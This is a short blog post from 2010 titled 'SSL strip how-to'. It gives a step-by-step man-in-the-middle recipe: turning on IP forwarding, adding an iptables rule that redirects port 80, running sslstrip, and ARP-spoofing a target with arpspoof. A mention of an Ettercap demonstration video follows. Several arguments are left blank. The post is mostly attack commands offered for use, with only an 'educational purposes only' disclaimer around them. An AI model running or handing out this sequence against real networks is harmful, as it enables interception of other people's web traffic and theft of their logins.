MOA

Security & Administration

Thursday, May 6, 2010

- [ SSL strip how-to ] -

MITM- attack with SSL-Strip // basically strips out the ssl from the page

Requirements :
Python >= 2.4
Python's Twisted Web
http://www.thoughtcrime.org/software/sslstrip/
A Unix based system


echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port

sslstrip.py -l

arpspoof -i -t

Ps.

This is for educational purposes only.



This video demonstrates using SSL-strip with Ettercap. Please use fullscreen for a better view.

No comments:

Post a Comment